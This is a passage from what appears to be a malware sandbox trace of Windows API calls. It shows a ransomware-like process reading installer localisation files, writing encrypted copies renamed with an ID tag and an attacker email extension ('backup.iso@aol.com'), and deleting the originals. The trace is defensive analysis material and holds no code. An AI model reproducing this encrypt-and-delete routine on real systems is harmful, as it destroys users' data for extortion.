lpNumberOfBytesWritten=0x311f750*=0x3b60, lpOverlapped=0x0) returned 1 [0098.004] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0098.004] CloseHandle (hObject=0x328) returned 1 [0098.004] CloseHandle (hObject=0x310) returned 1 [0098.008] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1 [0098.010] SetEvent (hEvent=0x2cc) returned 1 [0098.010] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0098.011] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=79634) returned 1 [0098.011] CloseHandle (hObject=0x310) returned 1 [0098.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0098.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0098.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0098.014] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0098.014] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0098.014] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0098.014] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0098.021] ReadFile (in: hFile=0x328, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x13712, lpOverlapped=0x0) returned 1 [0098.418] WriteFile (in: hFile=0x330, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x13720, lpOverlapped=0x0) returned 1 [0098.421] WriteFile (in: hFile=0x330, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0098.421] CloseHandle (hObject=0x328) returned 1 [0098.421] CloseHandle (hObject=0x330) returned 1 [0098.424] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0098.427] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0098.433] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=79296) returned 1 [0098.433] CloseHandle (hObject=0x328) returned 1 [0098.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0098.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0098.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0098.433] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0098.434] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0098.434] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0098.434] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0098.434] ReadFile (in: hFile=0x328, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x135c0, lpOverlapped=0x0) returned 1 [0098.484] WriteFile (in: hFile=0x304, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x135d0, lpOverlapped=0x0) returned 1 [0098.487] WriteFile (in: hFile=0x304, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0098.487] CloseHandle (hObject=0x328) returned 1 [0098.487] CloseHandle (hObject=0x304) returned 1 [0098.512] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0098.513] SetEvent (hEvent=0x2cc) returned 1 [0098.514] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0098.514] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=17752) returned 1 [0098.514] CloseHandle (hObject=0x304) returned 1 [0098.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0098.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0098.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0098.514] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0098.515] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0098.515] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0098.515] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0098.515] ReadFile (in: hFile=0x304, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x4558, lpOverlapped=0x0) returned 1 [0099.995] WriteFile (in: hFile=0x328, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x4560, lpOverlapped=0x0) returned 1 [0099.998] WriteFile (in: hFile=0x328, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0099.998] CloseHandle (hObject=0x304) returned 1 [0099.998] CloseHandle (hObject=0x328) returned 1 [0100.033] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1 [0100.034] SetEvent (hEvent=0x2cc) returned 1 [0100.035] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0100.801] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=77680) returned 1 [0100.801] CloseHandle (hObject=0x320) returned 1 [0100.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0100.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0100.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0100.801] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0100.801] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0100.801] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0100.801] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c8 [0100.802] ReadFile (in: hFile=0x320, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x12f70, lpOverlapped=0x0) returned 1 [0101.488] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x12f80, lpOverlapped=0x0) returned 1 [0101.491] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0101.491] CloseHandle (hObject=0x320) returned 1 [0101.492] CloseHandle (hObject=0x2c8) returned 1 [0101.494] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0101.496] SetEvent (hEvent=0x2cc) returned 1 [0101.496] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0101.497] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=17752) returned 1 [0101.497] CloseHandle (hObject=0x2c8) returned 1 [0101.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0101.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0101.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0101.497] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0101.497] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0101.497] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0101.497] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0101.498] ReadFile (in: hFile=0x2c8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x4558, lpOverlapped=0x0) returned 1 [0101.512] WriteFile (in: hFile=0x320, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x4560, lpOverlapped=0x0) returned 1 [0101.514] WriteFile (in: hFile=0x320, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0101.514] CloseHandle (hObject=0x2c8) returned 1 [0101.514] CloseHandle (hObject=0x320) returned 1 [0101.516] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1 [0101.517] SetEvent (hEvent=0x2cc) returned 1 [0101.517] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0101.524] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=60684) returned 1 [0101.525] CloseHandle (hObject=0x320) returned 1 [0101.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0101.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0101.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0101.525] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0101.525] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0101.525] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0101.525] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c8 [0101.526] ReadFile (in: hFile=0x320, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0xed0c, lpOverlapped=0x0) returned 1 [0101.543] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xed10, lpOverlapped=0x0) returned 1 [0101.545] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0101.545] CloseHandle (hObject=0x320) returned 1 [0101.545] CloseHandle (hObject=0x2c8) returned 1 [0101.663] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0101.910] SetEvent (hEvent=0x2cc) returned 1 [0101.911] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0101.911] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=14168) returned 1 [0101.911] CloseHandle (hObject=0x328) returned 1 [0101.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0101.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0101.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0101.912] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0101.912] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0101.912] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0101.912] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c8 [0101.913] ReadFile (in: hFile=0x328, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x3758, lpOverlapped=0x0) returned 1 [0103.486] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x3760, lpOverlapped=0x0) returned 1 [0103.488] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0103.488] CloseHandle (hObject=0x328) returned 1 [0103.488] CloseHandle (hObject=0x2c8) returned 1 [0103.491] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1 [0103.492] SetEvent (hEvent=0x2cc) returned 1 [0103.493] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0103.594] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=80254) returned 1 [0103.594] CloseHandle (hObject=0x2c8) returned 1 [0103.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0103.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0103.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0103.599] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0103.599] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0103.599] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0103.600] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0104.838] ReadFile (in: hFile=0x330, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x1397e, lpOverlapped=0x0) returned 1 [0106.490] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x13980, lpOverlapped=0x0) returned 1 [0106.493] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0106.493] 